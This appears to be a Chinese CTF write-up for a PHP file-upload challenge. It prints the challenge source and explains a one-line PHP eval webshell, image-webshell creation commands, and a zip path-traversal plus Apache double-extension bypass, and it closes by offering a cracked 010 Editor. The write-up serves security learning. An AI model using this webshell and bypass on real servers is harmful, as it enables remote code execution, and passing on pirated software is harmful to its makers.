注:本章所有知识仅供学习途径,禁止使用学会的知识做违法乱纪的事情(本文百分百为我个人原创,希望审核大大能仔细看一下)
前天在CTFHub上看到了这道文件上传的题,然后今天在老师讲的BUUCTF在线评测上又看到了,所以今晚来做一下这道题,顺便记录一下详细的解题流程
开始解题,首先分析代码
dy.jpg
<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');
if(!$_FILES){
echo '
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>文件上传章节练习题</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<style type="text/css">
.login-box{
margin-top: 100px;
height: 500px;
border: 1px solid #000;
}
body{
background: white;
}
.btn1{
width: 200px;
}
.d1{
display: block;
height: 400px;
}
</style>
</head>
<body>
<div class="container">
<div class="login-box col-md-12">
<form class="form-horizontal" method="post" enctype="multipart/form-data" >
<h1>文件上传章节练习题</h1>
<hr />
<div class="form-group">
<label class="col-sm-2 control-label">选择文件:</label>
<div class="input-group col-sm-10">
<div >
<label for="">
<input type="file" name="file" />
</label>
</div>
</div>
</div>
<div class="col-sm-8 text-right">
<input type="submit" class="btn btn-success text-right btn1" />
</div>
</form>
</div>
</div>
</body>
</html>
';
show_source(__FILE__);
}else{
$file = $_FILES['file'];
if(!$file){
exit("请勿上传空文件");
}
$name = $file['name'];
$dir = 'upload/';
$ext = strtolower(substr(strrchr($name, '.'), 1));
$path = $dir.$name;
function check_dir($dir){
$handle = opendir($dir);
while(($f = readdir($handle)) !== false){
if(!in_array($f, array('.', '..'))){
if(is_dir($dir.$f)){
check_dir($dir.$f.'/');
}else{
$ext = strtolower(substr(strrchr($f, '.'), 1));
if(!in_array($ext, array('jpg', 'gif', 'png'))){
unlink($dir.$f);
}
}
}
}
}
if(!is_dir($dir)){
mkdir($dir);
}
$temp_dir = $dir.md5(time(). rand(1000,9999));
if(!is_dir($temp_dir)){
mkdir($temp_dir);
}
if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
if($ext == 'zip'){
$archive = new PclZip($file['tmp_name']);
foreach($archive->listContent() as $value){
$filename = $value["filename"];
if(preg_match('/\.php$/', $filename)){
exit("压缩包内不允许含有php文件!");
}
}
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
check_dir($dir);
exit("解压失败");
}
check_dir($dir);
exit('上传成功!');
}else{
move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
check_dir($dir);
exit('上传成功!');
}
}else{
exit('仅允许上传zip、jpg、gif、png文件!');
}
}
- 得知有文件后缀类型限制,我们尝试上传图片木马看看能否成功
1.仅允许上传zip、jpg、gif、png文件!
2.如果上传压缩包,压缩包内不允许含有php文件
图片马的制作方式:
1.保存一张正常的图片1.jpg,然后写一个1.php文件内容为<?php eval ($_REQUEST[8])?>
2.打开该目录的cmd,输入copy 1.jpg/b +1.php 88.jpg,就会生成88.jpg的图片马
为防止循环检测,我们可以再制作一个更隐蔽的夹心图片马(图+马+图):
1.打开目录的cmd,输入copy 1.jpg/b +1.php 88.jpg
2.copy 88.jpg/b + 1.jpg/b 66.jpg
3.生成66.jpg的夹心图片马
1.仅允许上传zip、jpg、gif、png文件!
2.如果上传压缩包,压缩包内不允许含有php文件
我们上传制作的图片马,发现上传成功,我们尝试连接phpinfo,但是却发现没有生成phpinfo,猜测是没传到根目录下或者被改名字
我们通过404页面得知发现使用的apache,假设我们是小白不知道apache的多后缀文件解析漏洞,那么我们现在应该怎么办呢?
这时候我们可以进行一下信息收集,发现由于apache存在的多后缀文件解析漏洞,这里上传一个x.php.xxx(这里任何不可识别的后缀都行),即可绕过该正则限制
- 查看代码,发现check_dir函数,从函数定义可知,check_dir只会检测upload目录下的所有文件
知识点:../../可以退出当前目录
通过源码可知存在目录穿越问题。如果将解压出的文件穿越到非upload目录,check__dir方法就无法删除该文件,所以我们可以通过在文件前面加../../../跳出upload目录,这样就可以躲过check_dir的检测啦
总结一下就是,我们需要将php文件达成zip包,然后,绕过路经检测,通过路径穿越将文件放到指定目录,然后访问
接下来我们开始用010 Editor进行zip文件的编辑,修改char frFileName的值,改为../../x.php.xxx
雷点:注意这里值的数值和文件名的数值必须得一致,也就是说,zip的文件名得是15位数,要与../../x.php.xxx一致
修改成功后我们上传这个压缩包,上传成功,得到flag
需要010 editor中文破解版的评论区留言